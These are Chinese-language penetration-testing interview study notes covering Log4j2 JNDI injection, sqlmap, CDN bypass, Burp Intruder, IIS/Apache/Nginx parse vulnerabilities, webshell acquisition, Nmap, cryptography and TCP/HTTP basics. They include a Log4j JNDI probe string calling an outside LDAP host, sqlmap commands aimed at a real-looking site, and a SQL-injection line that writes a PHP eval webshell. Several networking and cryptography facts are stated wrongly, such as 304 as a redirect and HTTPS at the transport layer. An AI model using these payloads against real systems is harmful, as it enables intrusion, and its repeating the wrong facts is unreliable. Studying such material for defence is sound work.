序列化（writeObject）：把对象转换为字节序列的过程；
反序列化（readObject）：把字节序列恢复为 Java 对象的过程；

防御

结合调用链，unserialize 上级调用链的类和函数进行白名单限制，在反序列化之前，过滤用户输入< 、？等

Apache Log4j2 远程代码执行与拒绝服务攻击漏洞 (2.0<=2.15.0-rc1)

原理

```
String t = "${jndi:ldap://hggjjx.dnslog.cn}";
logger.error( message: "{}", t);
```

主要是由于 Nslookup 循环解析 JNDI，导致可以直接构造恶意请求，触发远程代码执行漏洞
“${jndi:ldap:// aqo3x3.dnslog.cn}”

由于 Apache Log4j2 某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞 Apache Log4j2 中存在 JNDI 注入漏洞，当程序将用户的数据进行日志记录时，即可触发此漏洞，

Apache Log4j 是一个基于 JAVA 的日志记录组件，Apache Log4j2 是 Log4j 的升级版本，通过重写 log4j 引入了丰富的功能特性，用于记录程序输入输出的日志信息

修复方式

1．更新至官方修复版本
2．在 jvm 启动参数中添加：-Dlog4j2.formatMsgNoLooKups=true 禁用 nolookups
系统环境变量中配置：FORMAT_MESSAGES_PATTERN+DISABLE_LOOKUPS=r=true
项目中创建 log4j2.component.properties 文件，文件中增加配置 log4j2. formatMsgNoLooKups=true

Google Hacking 语法

site 指定域名
inurl URL 存在关键字的网页
intitle 标题中存在关键字的网页
intext 正文中存在关键字的网页
info 一些基本信息
filetype 搜索指定文件类型

同源策略

浏览器安全的基石是"同源政策"，目的是为了保证用户的信息安全，防止恶意网站窃取数据，避免 cookie 共享。同源含义是协议、域名、端口相同的两个网页才可以共用 cookie

Get 和 Post

Get 是不安全的，因为在传输过程，数据被放在请求的 URL 中；传送的数据量较小
Post 的所有操作对用户来说都是不可见的，相对安全。传送的数据量较大，一般被默认为不受限制

session 与 cookie:

session 是存储服务器端，cookie 是存储在客户端，所以 session 的安全性比 cookie 高。
cookie：存储本地，存活时间较长。不是很安全，别人可以分析存放在本地的 cookie 并进行 cookie 欺骗
session：存储服务器上，存活时间较短，重要信息应该存放为 session。大型网站

linux 常见命令添加 删除 修改 复制一个文件

- **ls：查看文件夹包含的文件 文件权限. 目录信息**

-l ： 列出长数据串，包含文件的属性与权限数据等
-a ： 列出全部的文件，连同隐藏文件（开头为.的文件）一起列出来（常用）
-d ： 仅列出目录本身，而不是列出目录的文件数据
-h ： 将文件容量以较易读的方式（GB，kB 等）列出来
-R ： 连同子目录的内容一起列出（递归列出），等于该目录下的所有文件都会显示出来

- **cd :用于切换当前目录**
- **pwd :查看"当前工作目录"的完整路径**

-P :显示实际物理路径，而非使用连接（link）路径
-L :当目录为连接路径时，显示连接路径

- **mkdir :创建目录**

-m : 设定权限<模式> (类似 chmod),
- p : 可以是一个路径名称
-v : 每次创建新目录都显示信息

- **rm :** 删除

-f : 忽略不存在的文件，从不给出提示
-r : 将 test 子目录及目录中所有档案删除

- **rmdir : 删除空的目录** 从

-p: 当子目录删除后其父目录为空时，也一同被删除

- **mv ：移动文件或者将文件改名**
- **cp： 将源文件复制至目标文件**
- **touch：更改文档或目录的日期时间，包括存取时间和更改时间**
- **cat ：连接文件并打印到标准输出设备上**

windows linux 最高权限是什么

Windows 是 system；Linux 是 root

整数溢出

计算机语言中整数类型都有一个宽度，也就是说，一个整数类型有一个最大值和一个最小值。
当 2 个整数计算时，结果大于最大值或小于最小值就是溢出

sqlmap 使用方法命令

sqlmap -u "http://www.xx.com?id=x"【查询是否存在注入点】
--dbs【检测站点包含哪些数据库】
--current-db【获取当前的数据库名】
--tables -D "db_name"【获取指定数据库中的表名 -D 后接指定的数据库名称】
--columns -T "table_name" -D "db_name"【获取数据库表中的字段】
--dump -C "columns_name" -T "table_name" -D "db_name"【获取字段的数据内容】
–batch #全部默认确定

COOKIE 注入：
sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2【cookie 注入后接 cookie 值】

POST 注入（3 种方式）：
1. sqlmap **-r** okay.txt -p username
-r 表示加载文件 -p 指定参数（拦截的 post 请求中表单提交的用户名或密码等 name 参数）
2. 自动获取表单：**--forms 自动获取表单**
例如：sqlmap -u www.xx.com/login.asp --forms
5. 指定参数搜索：**--data**
例如:sqlmap -u www.xx.com/login.asp --data "username=1"

```
sqlmap -u http://vip.fj0730.cn/login.asp --forms --dbs
```

如何绕过 CDN 获取目标网站的真实 IP，谈谈你的思路、

子域名查询（小技巧 pin 检测的时候去掉 www.）
超级 PING
利用国外地址请求（https://get-site-ip.com/ https://get-site-ip.com/ ）
邮件服务查询
黑暗引擎搜索
Phpinfo 测试文件

子域名查询工具

subDomainsBrute （工具）
站长工具（在线）
https://phpinfo.me/domain/ (在线)

爆破四种模式？简述过程

Sniper（狙击手模式）：一次只使用一个 payload 位置。适合对参数单独地进行测试
Battering ram（攻城锤模式）：只使用一个 payload 集合，适合把相同的输入放到多个位置的情况。简单说就是一个 playload 字典同时应用到多个 position 中。每次攻击都是替换所有 payload 标记位置
Pitchfork（草叉模式）：这一模式是使用多个 payload 组。可以使用不同的 payload 组。攻击会同步迭代所有的 payload 组，把 payload 放入每个定义的位置中，适合不同位置中需要插入不同但相关的输入的情况
Cluster bomb（集束炸弹）：会对 payload 组进行笛卡尔积，每种 payload 组合都会被测试一遍，可以理解为暴力破解穷举法。适用于位置中需要不同且不相关或者未知的输入的攻击。

BurpSuite 重放包怎么做？

发送到 Repeater

对 POST 请求用户名密码爆破发送到哪里？

发送到 Intruder

判断出网站的 CMS 对渗透有什么意义？

查找网上已曝光的程序漏洞。
如果开源，还能下载相对应的源码进行代码审计

解析漏洞

IIS 5.X/6.0 解析漏洞

目录解析 /xx.asp/xx.jpg

- 形式：www.xxx.com/xx.asp/xx.jpg
  原理: *.asp、.asa 目录下的所有文件都被当作 asp 文件来解析并执行

文件解析 Xxx.asp;.jpg（IIS6.0）

- 形式：www.xxx.com/xx.asp;.jpg
  原理：服务器默认不解析;号及其后面的内容，相当于截断，因此 xx.asp;.jpg 便被解析成 asp 文件了

解析文件类型

- IIS 6.0 默认可执行文件除了 ASP 还包括.asa、.cer、.cdx

Apache 解析漏洞

后缀解析漏洞

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和“.rar” 这两种后缀是 apache 不可识别解析,apache 就会把 wooyun.php.owf.rar 解析成 php
www.xxx.xxx.com/test.php.php123

.htaccess 文件解析

先上传一个.htaccess 文件，然后这个文件同目录下的所有文件都可以解析为 PHP 文件

Nginx <8.03 空字节代码执行漏洞

例如："http://127.0.0.1/1.jpg%00.php"会把 1.jpg 文件（木马文件）当做 PHP 文件来执行。

Nmap 常用命令

-p 扫描指定端口和端口范围
-sP 对目标主机进行 ping 扫描
-A 使用高级功能进行扫描
-PE 强制执行直接的 ICMPping
-sV 探测服务版本信息
-d 增加调试信息地输出
-PU 发送 udp ping
-ps 发送同步（SYN）报文
识别操作系统：nmap -O 192.168.152.130
半开扫描：nmap -sS 192.168.152.130
全开扫描：nmap -sT 192.168.152.130

用过哪些扫描工具，区别是什么

Awvs：漏洞扫描速度较快，准确率较高，漏洞规则库较为全面。漏洞验证可查看请求响应代码，但无中文界面。报表功能完整。有多重漏洞的验证工具
Nessue：扫描速度快，能扫描系统层和 web 层类漏洞，但 web 漏洞发现能力不如 appscan，扫描 IP 限制为 16 个
Goby：安装过程非常简单，Windows 解压缩直接双击 EXE 即可运行，可跨平台支持 Windows、Linux、 Mac。功能上也挺全面的，提供最全面的资产识别，最快的扫描体验，内置可自定义的漏洞扫描框架。
Xrar：被动扫描
Nmap：主要用于系统层扫描，扫描速度快，准确率高，漏洞规则库全面，报表功能强大。

获取 webshell 都有哪些方式

1：文件上传；
2：SQL 注入：用 into outfile 写入一句话【 ' union select 1,"<?php eval($_POST['a']);" into outfile '/var/www/html/shell2.php】
3：文件包含：配合文件上传图片码进行包含；包含中间件日志；本地文件包含系统关键文件；
4：XSS：获取 cookie 登录—webshell
5：远程命令执行
6：解析漏洞

加密算法：

对称加密：加密和解密都用相同的密钥

优点：速度快，缺点是密钥管理不方便，要求共享密钥。
DES：分组式加密算法，以 64 位为分组对数据加密，加解密使用同一个算法。
3DES：三重数据加密算法，对每个数据块应用三次 DES 加密算法。
AES：高级加密标准算法，是美国联邦政府采用的一种区块加密标准，用于替代原先的 DES，目前已被广泛应用。
Blowfish：Blowfish 算法是一个 64 位分组及可变密钥长度的对称密钥分组密码算法，可用来加密 64 比特长度的字符串。

非对称加密：加密和解密是不同的密钥，公钥和私钥是一对，用公钥对数据加密，对应的私钥解密

优点：密钥管理很方便，缺点是速度慢。
RSA：RSA 算法基于一个十分简单的数论事实：将两个大素数相乘十分容易，但那时想要对其乘积进行因式分解却极其困难，因此可以将乘积公开作为加密密钥，可用于加密，也能用于签名。
DSA：数字签名算法，仅能用于签名，不能用于加解密。

DSS：数字签名标准，技能用于签名，也可以用于加解密。
ELGamal：利用离散对数的原理对数据进行加解密或数据签名，其速度是最慢的。

散列算法（单向加密）：

MD5：是 HASH 算法一种、 是生成 32 位的数字字母混合码。 MD5 主要特点是不可逆
SHA1：是哈希算法的一种
Sha224

明文传输 防御：

1.使用 https， HTTPS（443）在 HTTP（80）的基础上加入了 SSL 协议，SSL 依靠证书来验证服务器的身份，并为浏览器和服务器之间的通信加密。传输前用公钥加密，服务器端用私钥解
2.密码在传输前使用安全的算法加密后传输，可采用：不可逆 hash 算法加盐（4 位及以上随机数，由服务器端产生）；安全对称加密算法，如 **AES**(128、192、256 位)，且必须保证客户端密钥安全，不可被破解或读出；非对称加密算法，如 **RSA**(不低于 1024 位)、SM2 等。

http 和 https 区别

1. HTTP 的 URL 以 http:// 开头，而 HTTPS 的 URL 以 https:// 开头
2. HTTP 是不安全的，而 HTTPS 是安全的
3. HTTP 标准端口是 80 ，而 HTTPS 的标准端口是 443
4. 在 OSI 网络模型中，HTTP 工作于应用层，而 HTTPS 工作在传输层
5. HTTP 无需加密，而 HTTPS 对传输的数据进行加密
6. HTTP 无需证书，而 HTTPS 需要认证证书

https 请求过程：

1. 客户端向服务端发起 https 请求，连接到服务端的 443 端口
2. 服务端将自己的数字证书其中包含公钥发送给客户端
3. 客户端收到后，会先验证证书的合法性。如果有异常，就会弹出警告信息。如果没问题会生成一个随机数，然后使用公钥对随机数进行非对称加密
4. 将加密后的随机值传到服务器
5. 服务器使用私钥对其进行非对称解密后，得到客户端的随机值，然后把内容通过该随机值进行对称加密
6. 服务端将对称加密后的信息发给客户端
7. 客户端用之前的生成的随机值来进行对称解密，获取内容明文

http 请求过程：

1. 建立 TCP 链接（通过 TCP 三次握手与服务器端建立连接）
2. 浏览器向服务器发送请求
3. 浏览器发送请求头信息
4. 服务器应答版本号和协议状态码
5. 服务器发送应答头信息
6. 服务器向浏览器发送数据
7. 服务器关闭 TCP 链接

状态码：

1. 200 数据数据请求成功
2. 304 表示页面重定向
3. 404 表示请求数据成功但是页面丢失
4. 502 表示服务器处理失败

三次握手

1. 客户端向服务端发送 SYN 包（其中包含端口号和初始序列号）之后进入 syn 发送状态;
2. 服务端收到 SYN 包后确认客户端的 SYN，同时向客户端发送 SYN+ACK 包（其中包含 确认号 和 服务端的初始序列号）， 之后进入 syn 收到状态;
3. 客户端向服务端发送 ACK 包，发送完毕之后，客户端和服务端进入建立链接状态，开始传送数据

SYN：同步序列号，用于建立会话连接
Seq：初始化序列号
ACK：确认号，对已接收的数据包进行确认。只有当 ACK=1 时,确认号才有效，当 ACK=0 时，确认号无效
FIN：结束

为什么是三次，不是两次？四次？

1. 为了防止旧的重复连接初始化造成混乱（主要原因）
2. 三次握手才可以同步双方的初始序列号
3. 三次握手才可以避免资源浪费

四次挥手

1. 客户端向服务端发送 FIN 数据包，请求关闭连接。自身进入等待结束连接状态
2. 服务端向客户端发送 ACK 确认报文，同时进入关闭等待状态
3. 服务端向客户端发送 FIN 请求数据包
4. 客户端向服务端发送 ACK 确认数据包，进入等待状态，这个阶段将持续 2 秒后关闭

为什么建立连接协议是三次握手，而关闭连接却是四次握手呢

因为当服务端收到 SYN 报文的建立连接请求后，它可以把 ACK 和 SYN（ACK 起应答作用，而 SYN 起同步作用）放在一个报文里来发送。但关闭连接时，当收到对方的 FIN 报文时，它仅仅表示对方没有数据发送给你了；但未必你所有的数据都全部发送给对方了，所以当你还需要发送一些数据给对方之后，再发送 FIN 报文给对方来表示你同意可以关闭连接了，所以这里的 ACK 报文和 FIN 报文多数情况下都是分开发送的

分块传输为什么可以绕过 waf

因为 waf 一般是对 HTTP 数据包，或者关键词进行过滤的，启用分块传输之后，关键词由于换行符等干扰，并没有将其组成完整的 HTTP 数据包。所以可以绕过 WAF